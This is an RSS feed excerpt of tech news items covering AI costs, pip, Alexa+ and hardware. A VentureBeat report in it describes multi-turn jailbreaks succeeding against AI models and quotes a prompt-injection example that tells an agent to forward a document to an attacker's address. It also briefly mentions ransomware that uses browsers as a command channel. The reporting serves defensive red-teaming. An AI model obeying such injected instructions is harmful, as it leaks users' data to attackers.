<p>Wie Sie beim Gerätewechsel wirklich alle Daten mitnehmen – inklusive Chatverläufe und Einstellungen –, beschreiben wir in <a href="https://www.pcwelt.de/article/1160002/smartphone-wechsel-daten-umziehen.html" target="_blank" rel="noreferrer noopener">Smartphone-Umzug: So nehmen Sie Ihre Daten mit</a>. Eine komplette Einrichtungs-Checkliste für ein neues Gerät liefert außerdem der Leitfaden <a href="https://www.pcwelt.de/article/2580881/neues-android-smartphone-einrichten-howto.html" target="_blank" rel="noreferrer noopener">So richten Sie Ihr neues Android-Smartphone ein</a>.</p>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Amazon Alexa+ soll besser werden]]></title>
<description><![CDATA[Amazon gibt Entwicklern und Geräteherstellern neue Werkzeuge an die Hand, um Dienste und Hardware tief in den neuen Sprachassistenten Alexa+ einzubinden. Laut Amazon nutzen Kunden mit...Zum Beitrag: Amazon Alexa+ soll besser werden

Wo du uns folgen kannst:
Facebook, Reddit, Google News, X, Threa...]]></description>
<link>https://tsecurity.de/de/3691529/it-nachrichten/amazon-alexa-soll-besser-werden/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691529/it-nachrichten/amazon-alexa-soll-besser-werden/</guid>
<pubDate>Fri, 24 Jul 2026 14:33:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Amazon gibt Entwicklern und Geräteherstellern neue Werkzeuge an die Hand, um Dienste und Hardware tief in den neuen Sprachassistenten Alexa+ einzubinden. Laut Amazon nutzen Kunden mit...<p>Zum Beitrag: <a href="https://stadt-bremerhaven.de/amazon-alexa-soll-besser-werden/">Amazon Alexa+ soll besser werden</a>
</p><p>
Wo du uns folgen kannst:
<a href="http://www.facebook.com/CaschysBlog">Facebook</a>, <a href="https://www.reddit.com/r/CaschysBlog/">Reddit</a>, <a href="https://news.google.com/publications/CAAqMQgKIitDQklTR2dnTWFoWUtGSE4wWVdSMExXSnlaVzFsY21oaGRtVnVMbVJsS0FBUAE?ceid=DE:de&amp;oc=3">Google News</a>, <a href="https://x.com/CaschysBlog">X</a>, <a href="https://www.threads.com/@caschysblog">Threads</a>
<br>
</p><div>
    <strong>Auf dem Laufenden bleiben?</strong>
    <br>
    <a href="https://www.google.com/preferences/source?q=stadt-bremerhaven.de">Fügt uns doch bei Google als bevorzugte Quelle hinzu!</a>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Getting a grip on shadow tokens and AI blowouts]]></title>
<description><![CDATA[Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowbal...]]></description>
<link>https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</guid>
<pubDate>Fri, 24 Jul 2026 14:04:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and <a href="https://www.forbes.com/sites/janakirammsv/2026/05/17/uber-burns-its-2026-ai-budget-in-four-months-on-claude-code/">a clear case study</a> in how limited oversight snowballs into an AI blowout.</p>



<p class="wp-block-paragraph">This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">Microsoft is reportedly</a> winding down many internal licenses across key engineering teams and why <a href="https://www.thestreet.com/investing/the-next-phase-of-ai-spending-is-already-underway">one in five organizations</a> is missing its AI spend forecast by more than 50%.</p>



<p class="wp-block-paragraph">And the trend is only accelerating. By 2028, <a href="https://www.cio.com/article/4189149/ai-coding-token-costs-are-on-track-to-rival-human-payroll.html">Gartner predicts</a> that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.</p>



<p class="wp-block-paragraph">LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.</p>



<p class="wp-block-paragraph">Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.</p>



<h2 class="wp-block-heading">When shadow tokens result in real costs</h2>



<p class="wp-block-paragraph">The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.</p>



<p class="wp-block-paragraph">And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.</p>



<p class="wp-block-paragraph">According to <a href="https://www.deloitte.com/cz-sk/en/services/consulting/research/the-state-of-ai-in-the-enterprise.html">Deloitte</a>, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.</p>



<p class="wp-block-paragraph">This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, <a href="https://x.com/praveenTweets/status/2033627282418655711">described</a> a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.</p>



<h2 class="wp-block-heading">Shifting the culture from usage to yield</h2>



<p class="wp-block-paragraph">Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “<a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">tokenmaxxing</a>,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.</p>



<p class="wp-block-paragraph">None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save <a href="https://getdx.com/blog/ai-assisted-engineering-q4-impact-report-2025/">3.6 hours</a> per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.</p>



<p class="wp-block-paragraph">Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.</p>



<h2 class="wp-block-heading">Stopping token waste before an AI blowout</h2>



<p class="wp-block-paragraph">Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.</p>



<p class="wp-block-paragraph">This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.</p>



<p class="wp-block-paragraph">Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.</p>



<p class="wp-block-paragraph">We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.</p>



<p class="wp-block-paragraph">This is a conversation teams need to have now. Anthropic <a href="https://support.claude.com/en/articles/15036540-use-the-claude-agent-sdk-with-your-claude-plan">just ended flat-rate pricing</a> for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.</p>



<p class="wp-block-paragraph">Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Marvel's Wolverine just got a new story trailer spotlighting Jean Grey, The Hand, and... is that Troy Baker?]]></title>
<description><![CDATA[Insomniac Games has revealed brand new story details for Marvel's Wolverine alongside an official story trailer.]]></description>
<link>https://tsecurity.de/de/3691408/it-nachrichten/marvels-wolverine-just-got-a-new-story-trailer-spotlighting-jean-grey-the-hand-and-is-that-troy-baker/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691408/it-nachrichten/marvels-wolverine-just-got-a-new-story-trailer-spotlighting-jean-grey-the-hand-and-is-that-troy-baker/</guid>
<pubDate>Fri, 24 Jul 2026 13:34:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Insomniac Games has revealed brand new story details for Marvel's Wolverine alongside an official story trailer.]]></content:encoded>
</item>
<item>
<title><![CDATA[Why AI Needs a “Genie Coefficient”]]></title>
<description><![CDATA[This essay was written with Barath Raghavan, and originally appeared in The Guardian.
Major benchmarks measure what AI can do. None measure whether it does what you mean: the distance between what you ask an AI to do and the unspoken assumptions about how you want the AI to do it. We propose a ne...]]></description>
<link>https://tsecurity.de/de/3691355/it-security-nachrichten/why-ai-needs-a-genie-coefficient/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691355/it-security-nachrichten/why-ai-needs-a-genie-coefficient/</guid>
<pubDate>Fri, 24 Jul 2026 13:12:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>This essay was written with Barath Raghavan, and originally appeared in <a href="https://spectrum.ieee.org/ai-agent-benchmark">The Guardian</a>.</em></p>
<p>Major benchmarks measure what AI can do. None measure whether it does what you mean: the distance between what you ask an AI to do and the unspoken assumptions about how you want the AI to do it. We propose a new metric: the Genie coefficient.</p>
<p>There’s often a gap between one person’s request and another’s understanding. Most of the time, we bridge it using general knowledge. For example, if you ask a friend to get you coffee, they’ll pour a cup from the pot or buy one from a coffee shop. They won’t bring you a bag of raw beans or snatch a cup from a stranger and hand it to you. You never specified any of this. You never had to...</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New GENE 01 Bionic Humanoid Robot Teases AMD AI Game Changer (KIMI K3 VS FLASH 3.6)]]></title>
<description><![CDATA[Author: AI News - Bewertung: 7x - Views:48 Earn $100s/hr discussing your expertise with AI as referred by AI News: https://t.mercor.com/x1Eve or https://tinyurl.com/AINewsOfficial

Generative Bionics just teased the Gene 01 humanoid robot to challenge Tesla and Boston Dynamics. In this video, we ...]]></description>
<link>https://tsecurity.de/de/3691284/it-security-video/new-gene-01-bionic-humanoid-robot-teases-amd-ai-game-changer-kimi-k3-vs-flash-36/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691284/it-security-video/new-gene-01-bionic-humanoid-robot-teases-amd-ai-game-changer-kimi-k3-vs-flash-36/</guid>
<pubDate>Fri, 24 Jul 2026 12:34:40 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: AI News - Bewertung: 7x - Views:48 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/3p3UfAmd4Zo?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Earn $100s/hr discussing your expertise with AI as referred by AI News: https://t.mercor.com/x1Eve or https://tinyurl.com/AINewsOfficial<br />
<br />
Generative Bionics just teased the Gene 01 humanoid robot to challenge Tesla and Boston Dynamics. In this video, we break down its groundbreaking multimodal tactile skin, 24 DoF hands, and open-source platform. We also see the new M1 hand from Mimic that can interchange with different robot models. AI News also compare the newly released Moonshot AI Kimmy K3 open-source 2.8T model against Google DeepMind’s closed-source Gemini 3.6 Flash API to see which reigns supreme in speed, cost, and coding performance.<br />
<br />
Discover the AI agent economy: https://8004agents.ai<br />
<br />
AI news<br />
0:00 GENE 01<br />
3:21 M1<br />
4:56 Kimi K3<br />
6:26 Gemini Flash 3.6<br />
<br />
#ai #news #technology<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ryzen AI Embedded X100: AMDs Embedded-Sparte geht mit Strix Halo All‑In]]></title>
<description><![CDATA[Strix Halo lebt 2026 und darüber hinaus weiter. Als AMD Ryzen AI Embedded X100 werden die großen APUs noch Jahre verfügbar sein, genauer gesagt bis zu 10 Jahre. Denn so lange gibt AMD den neuen X100-Lösungen eine Lebensgarantie im 24/7-Betrieb. Das Ziel sind Robotik-Lösungen fast komplett aus AMD...]]></description>
<link>https://tsecurity.de/de/3690882/it-nachrichten/ryzen-ai-embedded-x100-amds-embedded-sparte-geht-mit-strix-halo-allin/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690882/it-nachrichten/ryzen-ai-embedded-x100-amds-embedded-sparte-geht-mit-strix-halo-allin/</guid>
<pubDate>Fri, 24 Jul 2026 09:03:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://pics.computerbase.de/1/2/3/9/2/5-d166c4866a4f9a8a/article-640x360.0d89b9b9.jpg"><p>Strix Halo lebt 2026 und darüber hinaus weiter. Als AMD Ryzen AI Embedded X100 werden die großen APUs noch Jahre verfügbar sein, genauer gesagt bis zu 10 Jahre. Denn so lange gibt AMD den neuen X100-Lösungen eine Lebensgarantie im 24/7-Betrieb. Das Ziel sind Robotik-Lösungen fast komplett aus AMD-Hand.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Notebooksbilliger: Angebote der Woche stark reduziert 24. Juli]]></title>
<description><![CDATA[Notebooksbilliger.de bie­tet der­zeit wie­der vie­le Pro­duk­te zum stark re­du­zier­ten Preis. So­lange der Vor­rat reicht, gibt es al­ler­hand Schnäpp­chen, die, im direkten Vergleich zum Stra­ßen­preis, erneut deut­lich re­du­ziert wur­den.			(Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3690762/it-security-nachrichten/notebooksbilliger-angebote-der-woche-stark-reduziert-24-juli/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690762/it-security-nachrichten/notebooksbilliger-angebote-der-woche-stark-reduziert-24-juli/</guid>
<pubDate>Fri, 24 Jul 2026 07:41:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/special/notebooksbilliger/angebote#1784871140"><img hspace="5" border="0" align="left" alt="NBB, Notebooksbilliger, nbb.com, ADW, Angebote der Woche" width="1920" height="1080" src="https://i.wfcdn.de/teaser/1920/65494.png"></a>
			Notebooksbilliger.de bie­tet der­zeit wie­der vie­le Pro­duk­te zum stark re­du­zier­ten Preis. So­lange der Vor­rat reicht, gibt es al­ler­hand Schnäpp­chen, die, im direkten Vergleich zum Stra­ßen­preis, erneut deut­lich re­du­ziert wur­den.			(<a href="https://winfuture.de/special/notebooksbilliger/angebote#1784871140">Weiter lesen</a>)]]></content:encoded>
</item>
<item>
<title><![CDATA[New pip flag fixes longstanding Python frustration]]></title>
<description><![CDATA[A new version of Python’s native package management tool, pip, will remove a limitation that has frustrated Python developers for years. If you wanted to install the dependencies for a given package, but not install the package itself, you were stuck. Either you had to extract the dependency list...]]></description>
<link>https://tsecurity.de/de/3690075/ai-nachrichten/new-pip-flag-fixes-longstanding-python-frustration/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690075/ai-nachrichten/new-pip-flag-fixes-longstanding-python-frustration/</guid>
<pubDate>Thu, 23 Jul 2026 21:27:38 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A new version of Python’s native package management tool, pip, will remove a limitation that has frustrated Python developers for years. If you wanted to install the dependencies for a given package, but not install the package itself, you were stuck. Either you had to extract the dependency list from the package and install it by hand, or you had to build the whole package anyway.</p>



<p class="wp-block-paragraph">Why was this a problem? Sometimes, you want only the dependencies for a package—for instance, as a way to create a separate environment for testing or another project. If you’re <a href="https://github.com/pypa/pip/issues/8049#issuecomment-633845028">making source distributions via CI</a>, some requirements might be needed to make the source distribution but aren’t actually included in it (e.g., Cython). You would need to install these requirements somewhere—apart from the project itself—to perform the build step.</p>



<p class="wp-block-paragraph">A dependencies-only install mode for packages is a long-requested feature. Developer James O’Claire <a href="https://jamesoclaire.com/2026/07/23/pip-26-2-only-deps-solves-16-years-of-app-deployment-hacks/">found many examples</a> of such requests, along with various workarounds. Most of those involved third-party solutions of some sort.</p>



<p class="wp-block-paragraph">Now, a new feature set to land in <a href="https://github.com/pypa/pip/pull/13895">pip version 26.2</a> will fix this problem from the inside. The command <code>pip install --only-deps</code> will install only the dependencies for a given package. Note that it will not install build dependencies for the package, but only runtime dependencies.</p>



<p class="wp-block-paragraph">Note that you can accomplish this with existing third-party tools. For instance, <code>uv sync --no-install-project</code> has the same behavior. But having this functionality right inside pip means you don’t have to turn to external tooling—or ugly hacks—to solve the problem. This may be an example of how third-party projects like uv (<a href="https://www.infoworld.com/article/2336295/how-to-use-uv-a-superfast-python-package-installer.html" data-type="link" data-id="https://www.infoworld.com/article/2336295/how-to-use-uv-a-superfast-python-package-installer.html">a superfast Python package installer</a>) are inspiring native Python features where they make sense.</p>



<p class="wp-block-paragraph">pip 26.2 is scheduled to be released by the end of July 2026.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Multi-turn attacks broke AI models 88% of the time — single-turn testing missed it, Cisco AI security lead warns at VB Transform 2026]]></title>
<description><![CDATA[When Cisco ran 6,986 multi-turn attacks against 15 flagship models, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at VB Transfor...]]></description>
<link>https://tsecurity.de/de/3690018/it-nachrichten/multi-turn-attacks-broke-ai-models-88-of-the-time-single-turn-testing-missed-it-cisco-ai-security-lead-warns-at-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690018/it-nachrichten/multi-turn-attacks-broke-ai-models-88-of-the-time-single-turn-testing-missed-it-cisco-ai-security-lead-warns-at-vb-transform-2026/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>When Cisco ran 6,986 multi-turn attacks against <a href="https://blogs.cisco.com/ai/proprietary-problems">15 flagship models</a>, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a>; the number should worry anyone still running single-turn red-teaming programs.</p><p><a href="https://venturebeat.com/resources/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials">VentureBeat's June 2026 Pulse survey of 107 enterprise respondents</a> explains why the room was full. More than half, 54%, have already had a confirmed agent security incident (18%) or a near-miss caught before harm (36%). Just 32% give every agent its own scoped, managed identity, and fewer still, 30%, isolate their highest-risk agents in sandboxes. Provider-native and hyperscaler controls remain the primary agent security layer at <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">82% of companies surveyed</a>. The world's largest security vendors have done the same math. </p><p>Palo Alto Networks closed its <a href="https://www.paloaltonetworks.com/company/press/2026/palo-alto-networks-completes-acquisition-of-cyberark-to-secure-the-ai-era">$25 billion acquisition of CyberArk</a> in February, CrowdStrike <a href="https://www.crowdstrike.com/en-us/press-releases/crowdstrike-to-acquire-sgnl-to-transform-identity-security-for-ai-era/">agreed in January to pay $740 million for SGNL</a>, and Cisco announced its <a href="https://blogs.cisco.com/news/cisco-announces-intent-to-acquire-astrix-security">intent to acquire Astrix Security</a> for a reported $400 million, all of it aimed at the identity and isolation layer most enterprises have not finished building.</p><div></div><p>Chang came to the panel with almost two decades of experience spanning cybersecurity operations, government, and the military. She ran global cybersecurity operations as an executive director at JPMorgan Chase, where she led the bank's cyber threat intelligence teams, and served as a senior staffer on the House Foreign Affairs Committee and as a U.S. Navy Reserve officer. She also teaches cybersecurity and emerging threats as adjunct faculty at the Middlebury Institute of International Studies.</p><p>Chang's 88.3% number comes from a study she co-authored with Nicholas Conley, built on 30,090 single-turn prompts and 6,986 multi-turn attacks against those 15 closed and proprietary flagship models. Multi-turn success rates ranged from 7.89% to 88.3%, every model tested showed non-trivial multi-turn exposure, and the two testing styles did not even rank the models in the same order. Cisco publishes adversarial evaluation signals for what is now 105 models on its <a href="https://leaderboard.aidefense.cisco.com/">LLM Security Leaderboard</a>, she told the audience.</p><p>"If you don't understand how models are susceptible to different types of attacks, then you are unable to account for how that model that is powering your agent, that is powering your application, to understand where those failure points are," Chang said. Single-turn testing is the one-shot malicious prompt, she explained, while extending an attack into a longer conversation "is more realistic of how we are actually engaging with our models, with our agents, with our applications." That longer arc surfaces harmful outputs and misaligned behaviors that a snapshot never catches.</p><p>Cisco has pushed the testing itself into agentic territory. Chang described a framework where agents assess a deployment scenario, develop relevant attacks, judge whether they are worth pursuing, execute them, and evaluate their own success. What surprised her most, after all that sophistication, was how simple the defensive answer stays. "The answer is still that it's pretty simple," she said. "You don't have to get super creative. You just need to think about truly what are the fundamentals and basics of what I'm trying to secure in my organization."</p><p>Her starting point for CISOs beginning agentic deployments is Cisco's <a href="https://blogs.cisco.com/ai/security-framework">Integrated AI Security and Safety Framework</a>, which she said "stipulates all the ways that AI can be compromised across the AI lifecycle" from modality through supply chain. From there, teams can work backward from real incidents, trace how each attack was achieved, and use the framework to build a strategy with the right coverage and mitigations.</p><p>Heather Ceylan, the CISO of Box, sees the same gap from the defender's side. "A lot of what you see out there with agent red teaming is just single-turn, and that's not how people are actually interacting with AI day-to-day," she told the audience. Box now simulates multi-turn adversaries with agents that think like an attacker and iterate attempt after attempt to hijack the target. "You have to pressure test your agents because otherwise you don't know if your execution controls are really working as you intended."</p><p>Box deployed agents inside its security operations center about a year ago, starting with human approval required for every action, and trust built quickly enough that analysts shifted into monitoring mode. Then the agent made one mistake, and every bit of that accumulated trust vanished. "They had to start all over again," she said. "So I think that that monitoring piece is so important. Even if you're not gonna have a human in the loop, things change, models change, and we can't control how the models change and interpret things."</p><p>Rajesh Parekh, VP of AI and ML at Intuit, brought the builder's perspective. Parekh led large-scale computer vision and ML systems powering Google's Maps and Geo products before joining Intuit, and holds a doctorate in computer science. </p><h2>Three layers versus an operating system</h2><p>Ceylan described Box's approach as three concentric layers. Permissioning comes first, so the agent never accesses more content than the human who invoked it. Ephemeral sandbox environments spin up for each agent task, containing the blast radius if an agent gets hijacked, and runtime execution control restricts the agent's tool calls to only those relevant to the task at hand. "If you want an agent to summarize a doc for you, if you have a prompt injection that came in that says forward this to maliciousattacker at domain.com, it can't do that," Ceylan said. "That action in that tool call is not even in its vocabulary."</p><p>She classified agent actions into three oversight categories. Actions that are not sensitive, like read and summarize, need no human in the loop. Moderately sensitive actions skip human approval but get logged and monitored, while destructive actions like mass deletion of files always require a human. "Things are gonna shift between those three categories quite a bit," she acknowledged, "but setting those types of categories up front allows you to have a principled framework."</p><p>Rather than layering controls onto agents one at a time, Intuit has built a central platform called GenOS, short for generative AI operating system, which abstracts security, risk, and fraud modeling so individual agent developers never reinvent protection. "Permissioning is not about giving access to AI," Parekh said. "Instead, it is defining very tightly scoped and clearly auditable authority to the agent to perform very specific tasks." Intuit evolved from agents inheriting user permissions to each agent carrying its own identity, and the company is now investigating mid-session permission changes tied to the specific task underway.</p><p>Parekh calls the broader model an AI-powered expert platform, one where the human expert is built into the trust architecture rather than bolted on as a gate. "The paradigm that we are pursuing is where the user, the AI agent, and the human expert are collaborating to solve the user problem," he said.</p><h2>The end of human code review</h2><p>Ceylan took on the tension between security testing and development velocity without hedging. "The days of secure code reviews where a human's looking at the code and we're looking at security architecture reviews, design docs, those are done," she said. "If you keep trying to do security that way, you're gonna get left behind." Box is building toward a fully agentic development lifecycle where agents review design documents, apply security requirements, and review the code for vulnerabilities. "I'm very optimistic that we will get to a point where we will write code without security vulnerabilities because agents and the models are going to get so good at writing code without vulnerabilities," she said. "We're still a long way away from that."</p><p>Her advice for development teams skips the advanced AI concepts entirely and returns to basics that predate agents. "It comes down to very basic least privilege access," she said. "If you start giving your agents overly broad permissions at the beginning, it's really hard to comb that back and build an infrastructure that allows for those ephemeral credentials and only those narrowly scoped tasks."</p><p>Parekh explained why the red teaming surface has expanded so quickly. "These agents have skills, and skills could become vulnerabilities," he said. "Agents have access to certain data, they have access to tools, and there could be threats that are lurking within those tools as well. So suddenly the blast radius of the malicious code or the intent increases dramatically." When Intuit identifies common vulnerability patterns from its manual red teaming exercises, it automates those tests back into the GenOS harness so future agents inherit protection and red teamers stay focused on new threat vectors. Runtime scanning of prompts and responses adds a final layer that can stop a suspect response and escalate to a human expert, he said.</p><p>"You need to continuously test to ensure that those remain robust to the protections that you have built, as well as to account for any sort of drift or any other types of dependencies that you introduce into your scenario that can create novel vulnerabilities," she said.</p><h2>Intent versus probability</h2><p>An audience question about intent detection set off the sharpest exchange of the session. Ceylan noted that when Box's own agent operates, the system always knows the user's intent because it controls the prompt, which means guardrails and tool-call restrictions can be engineered around it. The harder challenge, which she admitted Box is still trying to solve, arrives when external agents connect and the context behind the request is opaque.</p><p>That exchange exposed a split running through the wider industry. Mastercard, in the fireside chat immediately preceding the panel, came down on the side of quantifying intent, building an open-source framework to propagate it as a standard because complex B2B procurement cannot work without that trust. Endpoint security CTOs, in briefings with VentureBeat, have gone the other way, saying they will bet on probability rather than intent inference for production workloads. Chang explained why models, as they are trained today, cannot reliably derive intent from a prompt, which is why deterministic controls and behavioral proxies remain necessary. Ceylan agreed that both are required. "If you're not doing anything deterministic, you're really relying heavily on that intent, and I haven't seen programs that are there yet," she said.</p><p>Ceylan's story about trust collapsing after a single agent mistake landed as the panel's most memorable moment because enterprise agentic security is not a problem that gets solved and stays solved. Models change, permissions drift, and adversaries adapt across multi-turn conversations that snapshot tests never capture.</p><p>For the 82% of enterprises relying on provider-native controls as their primary security layer, and the 59% shopping for agent security tooling over the next 12 months, the panel's takeaway was blunt. Test the way attackers attack, across full conversations and continuously, or find out in production what your single-turn red teaming missed.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Chaos Ransomware Turns Your Chrome and Edge Web Browser Into an Invisible Malware Command Channel]]></title>
<description><![CDATA[Chaos ransomware has introduced a new way to hide attacker activity inside everyday web browsing. The group’s msaRAT remote-access tool turns Chrome or Microsoft Edge into a covert channel for receiving commands and moving data. This approach mirrors the stealth…
Read more →
The post Chaos Ransom...]]></description>
<link>https://tsecurity.de/de/3690004/it-security-nachrichten/chaos-ransomware-turns-your-chrome-and-edge-web-browser-into-an-invisible-malware-command-channel/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690004/it-security-nachrichten/chaos-ransomware-turns-your-chrome-and-edge-web-browser-into-an-invisible-malware-command-channel/</guid>
<pubDate>Thu, 23 Jul 2026 20:38:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Chaos ransomware has introduced a new way to hide attacker activity inside everyday web browsing. The group’s msaRAT remote-access tool turns Chrome or Microsoft Edge into a covert channel for receiving commands and moving data. This approach mirrors the stealth…</p>
